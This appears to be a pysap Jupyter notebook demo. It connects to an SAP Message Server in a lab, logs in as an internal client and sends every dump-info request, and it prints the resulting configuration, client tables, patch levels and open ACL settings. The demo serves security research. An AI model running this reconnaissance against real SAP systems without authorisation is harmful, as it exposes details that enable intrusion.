SAP Message Server Dump Data demo

Import the libraries, bind the protocol layer

In [1]: 
from scapy.all import *
from pysap.SAPNI import *
from pysap.SAPMS import *
bind_layers(SAPNI, SAPMS, )

WARNING: No route found for IPv6 destination :: (no default route?)
WARNING:scapy.runtime:No route found for IPv6 destination :: (no default route?)

First step is to connect to the target server:

In [2]: 
# Initiate the connection
sock = socket.socket()
sock.connect(("192.168.56.102", 3900))
conn = SAPNIStreamSocket(sock)

Then we craft and send a MS_LOGIN_2 packet:

In [3]: 
p = SAPMS(flag=0x00, iflag=0x08, toname="dump-demo", fromname="dump-demo")
response = conn.sr(p)[SAPMS]

We need to grab the server name from the response:

In [4]: 
server_string = response.fromname
print server_string

MSG_SERVER

Finally, for each dump command we issue a request and look for the response:

In [5]: 
for i in ms_dump_command_values.keys():
    p = SAPMS(flag=0x02, iflag=0x01, toname=server_string, fromname="dump-demo",
              opcode=0x1e, opcode_error=0x00, dump_dest=0x02, dump_command=i)

    print "[*] Sending dump info", ms_dump_command_values[i]
    response = conn.sr(p)[SAPMS]

    if (response.opcode_error != 0):
        print "Error:", ms_opcode_error_values[response.opcode_error]
    else:
        print response.opcode_value

[*] Sending dump info MS_DUMP_MSADM
Error: MSOP_UNKNOWN_CLIENT
[*] Sending dump info MS_DUMP_CON
-------------------------- dump of mscon table -----------------------------
  NR ADDRESS > Unique key                      FIHDL NEXTREQ NEXTREP
----------------------------------------------------------------------------

#entries = 0


[*] Sending dump info MS_DUMP_PARAMS

Release = 720
Release no = 7200
Build version = 720.2010.05.21
System name = NSP
Instance name = DVEBMGS00
Trace level = 3
Trace logging = active (52428800)
comment = message server NSP
start time = Tue Mar 11 12:03:28 2014
start time (seconds) = 1394550208
up time = 15:25:09 (55509 secs)
build time = Nov 12 2010 02:51:58
build with Unicode = TRUE
build with Threads = TRUE
system type = PC with Windows NT
system id = 0x230
server host = demo
server host (fqn) = demo
server addr = 192.168.56.102
server service = 3600
server port = 3600
server service (internal) = 3900
server port (internal) = 3900
use unix domain sockets = TRUE
J2EE send notification = message/request
J2EE advanced login = on
J2EE broadcast time = 0/Wed Dec 31 21:00:00 1969
J2EE reconnect support = 1
ms/timeout = 5000
ms/timeout2 = 10000
ms/conn_timeout = 300
ms/max_sleep = 20
ms/sapevt_lb = 0
ms/keepalive = 300
ms/max_clients = 600
#clients = 3
ms/max_counter = 100
ms/max_vhost = 16
statistic activated
ms/max_queue = 300
ms/warn_queue = 5
ms/cache_check = 900
cache count = 0
cache size = 11
allocated buffer = 2
ms/max_open_requests = 10000
#max_open_requests = 0
ms/server_port_0 = PROT=HTTP,PORT=8100,TIMEOUT=20,PROCTIMEOUT=60
ms/http_port = 8100
http state = LISTEN
ms/https_port = 
https state = INIT
ms/use_threads = 0
ms/http_lookup = 1
ms/http_domain = TRUE
ms/http_timeout = 20
ms/http_proctime = 60
ms/http_bufferln = 65536
ms/redirect_version = 1
ms/http_max_clients = 500
ms/http_max_ports = 20
ms/http_enable_handler = TRUE
ms/http_handler_retry = 10
ms/http_handler_timeout = 60
ms/http_was_required = FALSE
ms/url_fqn = 1
is/HTTP/default_root_hdl = abap
is/instname_encoding = none
#http client = 0
#https client = 0


[*] Sending dump info MS_DUMP_ALL_CLIENTS
name = dump-demo
index = 2
stat = LOGGED_IN
status = STARTING
domain = WAS
version = 4
buffer ln = 32110
max queue = 300
warn queue = 300
msgtypes = -
hostadr (IPv6) = 192.168.56.1
release = 
patchno = 0
support level = 0
nservno = 0
hostname = 192.168.56.1
servname = -
NI handle = 66

HANDLE   = 66   
TIME     = Wed Mar 12 03:28:37 2014
SOCKET   = 1600
STAT     = NI_ACCEPTED
TYPE     = STREAM IPv4
OUT      = 4 messages 2408 bytes
IN       = 5 messages 758 bytes
LOCAL    = 192.168.56.102:3900 
REMOTE   = 192.168.56.1:49364
OPTIONS  = BUFFERED 

info = 0
admin allowed = FALSE
conn time = Wed Mar 12 03:28:37 2014
login time = Wed Mar 12 03:28:37 2014
last requ = Wed Mar 12 03:28:37 2014
client typ = INTERNAL
keepalive = 0
disc pend = 0
fi key = 95088
first req = (nil)
first rep = (nil)

name = demo_NSP_00
index = 1
stat = LOGGED_IN
status = ACTIVE
domain = WAS
version = 4
buffer ln = 32110
max queue = 300
warn queue = 270
msgtypes = DIA UPD ENQ BTC SPO UP2 ICM 
hostadr (IPv6) = 192.168.56.102
release = 720
patchno = 70
support level = 0
nservno = 3200
hostname = demo
servname = sapdp00
NI handle = 49

HANDLE   = 49   
TIME     = Tue Mar 11 12:03:35 2014
SOCKET   = 1628
STAT     = NI_ACCEPTED
TYPE     = STREAM IPv4
OUT      = 1535 messages 485468 bytes
IN       = 1673 messages 459413 bytes
LOCAL    = 192.168.56.102:3900 
REMOTE   = 192.168.56.102:1413
OPTIONS  = BUFFERED 

info = 3
admin allowed = TRUE
conn time = Tue Mar 11 12:03:35 2014
login time = Tue Mar 11 12:03:35 2014
last requ = Wed Mar 12 03:27:56 2014
SNC key = p:CN=NSP, OU=Demo, O=SAP Trust Community, C=DE
client typ = INTERNAL
keepalive = 0
disc pend = 0
fi key = 95136
first req = (nil)
first rep = (nil)
defined protocols
protocol = MS_LOGON_DIAG
port = 3200
ip (IPv6) = 192.168.56.102
ip (IPv4) = 192.168.56.102
host = demo
misc = LB=3
load = 0
requ = 0
weight = 1000
protocol = MS_LOGON_DIAGS
port = 3200
ip (IPv6) = 192.168.56.102
ip (IPv4) = 192.168.56.102
host = demo
misc = p:CN=NSP, OU=Demo, O=SAP Trust Community, C=DE
load = 0
requ = 0
weight = 1000
protocol = MS_LOGON_RFC
port = 3300
ip (IPv6) = 192.168.56.102
ip (IPv4) = 192.168.56.102
host = demo
load = 0
requ = 0
weight = 1000
protocol = MS_LOGON_RFCS
port = 4800
ip (IPv6) = 192.168.56.102
ip (IPv4) = 192.168.56.102
host = demo
misc = p:CN=NSP, OU=Demo, O=SAP Trust Community, C=DE
load = 0
requ = 0
weight = 1000
protocol = MS_LOGON_HTTP
port = 8000
ip (IPv6) = 192.168.56.102
ip (IPv4) = 192.168.56.102
host = demo
load = 0
requ = 0
weight = 1000
Virtual Host 0
protocol = MS_LOGON_HTTP
port = 8000
ip (IPv6) = 192.168.56.102
ip (IPv4) = 192.168.56.102
host = demo


name = -
index = 0
stat = LOGGED_IN
status = STARTING
domain = WAS
version = 4
buffer ln = 32110
max queue = 300
warn queue = 300
msgtypes = -
hostadr (IPv6) = 127.0.0.1
release = 
patchno = 0
support level = 0
nservno = 0
hostname = 127.0.0.1
servname = -
NI handle = 41

HANDLE   = 41   
TIME     = Tue Mar 11 12:03:28 2014
SOCKET   = 1636
STAT     = NI_ACCEPTED
TYPE     = STREAM IPv4
OUT      = 13023 messages 5645358 bytes
IN       = 26015 messages 2970206 bytes
LOCAL    = 127.0.0.1:3900 
REMOTE   = 127.0.0.1:1410
OPTIONS  = BUFFERED 

info = 0
admin allowed = FALSE
conn time = Tue Mar 11 12:03:28 2014
login time = Tue Mar 11 12:03:28 2014
last requ = Wed Mar 12 03:28:35 2014
client typ = INTERNAL
keepalive = 0
disc pend = 0
fi key = 0
first req = (nil)
first rep = (nil)


[*] Sending dump info MS_DUMP_ALL_SERVER

[*] Sending dump info MS_DUMP_ALL_DOMAIN

[*] Sending dump info MS_DUMP_DOMAIN_CONN
Error: MSOP_UNKNOWN_DUMP_REQ
[*] Sending dump info MS_DUMP_RELEASE

Release = 720
Release no = 7200
System name = NSP
 
kernel information
------------------
 
kernel release = 720
database library = 
compiled on = NT 5.2 3790 S x86 MS VC++ 14.00
compiled time = Nov 11 2010 19:53:55
update level = 0
patch number = 52
source id = 0.070
 
supported environment
---------------------
 
operating system
  Windows NT 5.0
  Windows NT 5.1
  Windows NT 5.2
  Windows NT 6.0
  Windows NT 6.1
 
patch comments
--------------
 
  (  0) ( 0.001) CST Patch Collection 18 2009 (note 1332590)
  (  1) ( 0.008) CST Patch Collection 29 2009 (note 1362089)
  (  2) ( 0.017) CST Patchcollection 39 2009 (note 1386221)
  (  3) ( 0.025) CST Patch Collection 47 2009 (note 1405338)
  (  4) ( 0.033) MS: don't expose informations for ext. clients (note 821875)
  (  5) ( 0.036) MS: fix loop counter for MS_NIPARAM (note 1435654)
  (  6) ( 0.043) Signal 11 for HTTPS status code > 400 (note 1453591)
  (  7) ( 0.043) Signal 11 for HTTPS generating status code > 400 (note 1453591)
  (  8) ( 0.048) SapSSLReloadCred fix, SSLv3/TLSv1.0 configurability, GOST (note 1433874)
  (  9) ( 0.049) Security-Downport (ACL) for message server (note 1453325)
  ( 10) ( 0.052) Access Control List and Traffic Control (note 1453325)


[*] Sending dump info MS_DUMP_SIZEOF
MSADM             : 1336
MSHTTP            : 272
MSCON             : 112
V2_MSHEADERLN     : 228
V2_MSBUFFERLN     : 10228
V3_MSHEADERLN     : 70
V3_MSBUFFERLN     : 10070
MSHEADERLN        : 110
MSBUFFERLN        : 32110
MSCON_HDR         : 84
V2_MSXXLIST       : 61
V3_MSXXLIST       : 67
MSXXLIST          : 276
DUMP INFO         : 48
RELOAD FILE       : 4
MSXXINFO          : 4144
SECURITY1         : 296
SECURITY2         : 278
MSCON_NET         : 88
MSXXSTAT          : 580
MSXXSTAT_NET      : 1276
V1_MSXXSTAT_NET_LN: 716
V2_MSXXSTAT_NET_LN: 556
MS_CNT            : 120
MS_CNT_LST        : 32

[*] Sending dump info MS_DUMP_FIADM
------------------------------------- dump of MSADM table ------------------------------------
# NR  ADDR    >server name                             < TYP STA FTNR    FIHDL REQLSTREPLST
----------------------------------------------------------------------------------------------

#  0 3230ae0 > dump-demo                                  3   0    2    95088 (nil) (nil)
#  1 32305a0 > demo_NSP_00                                3 191    1    95136 (nil) (nil)
#  2 3230060 > -                                          3   0    0        0 (nil) (nil)
#entries = 3

[*] Sending dump info MS_DUMP_FICON
-------------------------- dump of mscon table -----------------------------
  NR ADDRESS > Unique key                      FIHDL NEXTREQ NEXTREP
----------------------------------------------------------------------------

#entries = 0


[*] Sending dump info MS_DUMP_COUNTER
Error: MSOP_COUNTER_NOTFOUND
[*] Sending dump info MS_DUMP_STATISTIC
server version       : 3
#total requests : 27125
#logins : 3
#send by type : 137
#adm messages : 744
#mod state : 1
#opcodes received : 26238
MS_SERVER_CHG : 1
MS_SERVER_LST : 12993
MS_CHANGE_IP : 1
MS_SET_SECURITY_KEY : 1
MS_GET_HWID : 1
MS_DUMP_INFO : 12
MS_SET_LOGON : 5
MS_DEL_LOGON : 11
MS_SERVER_LONG_LIST : 12993
MS_SET_PROPERTY : 188
MS_GET_PROPERTY : 30
MS_DEL_PROPERTY : 2
#opcodes send : 1
MS_SERVER_MOD : 1
#bytes read          : 3427219
#bytes written       : 6135700
#no clients : 3
start time           : Tue Mar 11 12:03:28 2014
actual time          : Wed Mar 12 03:28:38 2014
up time              : 15:25:10 (55510 secs)

[*] Sending dump info MS_DUMP_NIBUF
0	VALID	A	192.168.56.102	~	demo
1	VALID	A	127.0.0.1	~	localhost
2	VALID	A	127.0.0.1	~	demo
*
0	VALID	3200	sapdp00
*
4076
*
Tue Mar 11 12:03:28 2014

[*] Sending dump info MS_DUMP_URLMAP
no logon groups defined

[*] Sending dump info MS_DUMP_URLPREFIX
no url prefixes definedy

[*] Sending dump info MS_DUMP_URLHANDLER
WASCLIENT(1)
url = /sap/public/icf_info/logon_groups
enabled = FALSE
state = LOAD
last request = Tue Mar 11 12:03:50 2014
appl server = demo_NSP_00
hostname = demo
port = 8000
next = Wed Dec 31 21:00:20 1969
connect timeout = 0
connect pending timeout = 60
retry = 10
error = 1
timeout = 0
#req = 1
buffer = 8c0b70 (32000)
offset = 0
message = 1a4f740
http status code = 403 (Forbidden)
body = 8c8900 (32000)
handle = -1
load = 433930
read = 4303e0
reload = 430520

WASCLIENT(2)
url = /sap/public/icf_info/urlprefix
enabled = FALSE
state = LOAD
last request = Tue Mar 11 12:03:50 2014
appl server = demo_NSP_00
hostname = demo
port = 8000
next = Wed Dec 31 21:00:20 1969
connect timeout = 0
connect pending timeout = 60
retry = 10
error = 1
timeout = 0
#req = 1
buffer = 8d85b0 (32000)
offset = 0
message = 1a57ee8
http status code = 403 (Forbidden)
body = 8e0340 (32000)
handle = -1
load = 433930
read = 4303e0
reload = 4307a0


[*] Sending dump info MS_DUMP_NOSERVER
MS_LOGON_DIAG = 1
MS_LOGON_DIAGS = 1
MS_LOGON_RFC = 1
MS_LOGON_RFCS = 1
MS_LOGON_HTTP = 1
MS_LOGON_HTTPS = 0
MS_LOGON_FTP = 0
MS_LOGON_SMTP = 0
MS_LOGON_NNTP = 0
MS_LOGON_DIAG_E = 0
MS_LOGON_DIAGS_E = 0
MS_LOGON_RFC_E = 0
MS_LOGON_RFCS_E = 0
MS_LOGON_HTTP_E = 0
MS_LOGON_HTTPS_E = 0
MS_LOGON_FTP_E = 0
MS_LOGON_SMTP_E = 0
MS_LOGON_NNTP_E = 0
MS_LOGON_J2EE = 0
MS_LOGON_J2EES = 0
MS_LOGON_J2EE_E = 0
MS_LOGON_J2EES_E = 0
MS_LOGON_P4 = 0
MS_LOGON_P4S = 0
MS_LOGON_IIOP = 0
MS_LOGON_IIOPS = 0
MS_LOGON_SDM = 0
MS_LOGON_TELNET = 0
MS_LOGON_DEBUG = 0
MS_LOGON_DPROXY = 0
MS_LOGON_P4HTTP = 0
MS_LOGON_HTTPRI = 0
MS_LOGON_HTTPSRI = 0
MS_LOGON_J2EERI = 0
MS_LOGON_J2EESRI = 0
MS_LOGON_TRXNS = 0

[*] Sending dump info MS_DUMP_ACLINFO
HOST=*

[*] Sending dump info MS_DUMP_PERMISSION_TABLE
HTTP access control list not activated

[*] Sending dump info MS_DUMP_J2EE_CLUSTER_STAT
version 1.0

[*] Sending dump info MS_DUMP_ACL_FILE_EXT
parameter ms/acl_file_ext for ACL file not defined

[*] Sending dump info MS_DUMP_ACL_FILE_INT
parameter ms/acl_file_int for ACL file not defined

[*] Sending dump info MS_DUMP_ACL_FILE_ADMIN
parameter ms/acl_file_admin for ACL file not defined

[*] Sending dump info MS_DUMP_ACL_FILE_EXTBND
parameter ms/acl_file_extbnd for ACL file not defined

[*] Sending dump info MS_DUMP_ACL_FILE_HTTP

[*] Sending dump info MS_DUMP_ACL_FILE_HTTPS